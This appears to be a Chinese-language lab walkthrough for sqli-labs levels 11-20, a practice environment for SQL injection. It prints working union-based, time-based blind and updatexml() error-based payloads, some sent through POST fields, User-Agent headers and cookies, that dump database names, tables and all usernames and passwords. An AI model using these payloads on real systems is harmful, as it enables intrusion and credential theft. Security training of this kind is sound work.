sqli-labs 11-20关

11-20关都为post传递,我们可以用burrp_suit来进行抓包和改包,也可以用hackbar来进行注入。

第十一关
1.寻找闭合方式
先输入1' or 1=1#
sqli-labs 11-20关_第1张图片
发现登录成功
sqli-labs 11-20关_第2张图片
则说明闭合方式为单引号闭合。
2.看有多少个字段
输入-1' order by 3#发现
在这里插入图片描述
则说明有两个字段。
3.来使用联合注入爆数据库名,表名,用户。
(1)爆数据库

-1' union select 1,database()#

sqli-labs 11-20关_第3张图片
说明security为数据库名
(2)爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

出现
sqli-labs 11-20关_第4张图片
(3)爆字段

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

出现
sqli-labs 11-20关_第5张图片
(4)爆出所有用户

-1' union select (select group_concat(username) from users), (select group_concat(password) from users)#

出现
在这里插入图片描述

第十二关
1.寻找闭合方式
经过尝试发现输入1") or 1=1#
出现
sqli-labs 11-20关_第6张图片
说明这一关闭合方式为 ") 闭合。
其他请参考第十一关。

第十三关

这一关为')闭合型,但是没有回显,可以用时间延迟型注入
参考第五关。

第十四关

闭合型
当输入1" or 1=1 #无回显,所以使用时间延迟型注入。

第十五关

单引号闭合,时间延迟型注入。
(1)爆库名

uname=admin' and if(length(database())=8,sleep(5),1)--+
uname=admin' and if(left(database(),1)='s',sleep(5),1)

(2)爆表

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

(3)爆字段

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

(4)爆值

uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#

第十六关

为 ") 型注入,没有回显使用延迟型注入。
代码参考第十五关。

第十七关

此关和前边几关不一样,这一关你会发现username被过滤,这时该怎么办。
sqli-labs 11-20关_第7张图片
这个自定义函数把username过滤。
substr()函数截取字符串15个字符。
:补充
截取字符串的三个函数;
三大法宝:mid(),substr(),left()
mid()函数;
此函数为截取字符串一部分。MID(column_name,start,[length])
参数 描述column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID () 函数返回剩余文本。
例如;
mid(database(),1,1);
截取数据库名的第一个字母;
substr同上;
详情https://zhuanlan.zhihu.com/p/40286215
get_magic_quotes_gpc()函数php的内置函数判断环境变量magic_quotes_gpc是否打开,如果没打开说明php默认转义特殊字符的函数未运行,手动转义特殊字符。stripslashes()函数。
这时候用户账号被过滤,但是密码并没有被过滤。所以可以考虑从password入手,
1.首先输入正确的用户名。使用updatexml()函数过滤。
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数,
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
原文链接:https://blog.csdn.net/weixin_43733035/article/details/86561654

第一步爆数据库名

a' or updatexml(1,concat('#',(select database())),1)#

输入
sqli-labs 11-20关_第8张图片
发现
在这里插入图片描述
然后再爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

在这里插入图片描述
接下来爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

在这里插入图片描述
最后爆出所有用户和密码

'r updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#

第十八关

这一关经过尝试发现除了输入正确的账号输入其他语句都会显示
sqli-labs 11-20关_第9张图片
而当输入正确的账号和密码会出现
sqli-labs 11-20关_第10张图片
使用burp suite抓一下包,修改头部中的 user-agent的值。
抓到包之后修改下面图片对应的。

在这里插入图片描述
接下来是注入的语句
在这里插入图片描述
显然它是一个增加语句,我们使用updatexml()函数来注入,

语句原型: ’ or updatexml(1,concat(’#’,(clause),’#’),1),1,1)#

clase为想要查询的子句;

(1)爆数据库

 ' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#

(2)爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#

(3)爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#

(4)爆用户

' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#
12

然后通过修改limit后面的数值,来查询每个用户的账号和密码。

第十九关

第十九关方法基本和第十八关一样注入原型语句为

' or updatexml(1,concat('#',(clause),'#'),1),1)#

第二十关

输入正确的用户名和密码后页面变为,sqli-labs 11-20关_第11张图片
经过尝试cookie可以注入,方法见18关。

' or updatexml(1,concat('#',(select database()),'#'),1)#

感谢大佬博客https://blog.csdn.net/jinhezhai/article/details/103924833

你可能感兴趣的:(sqli-labs 11-20关)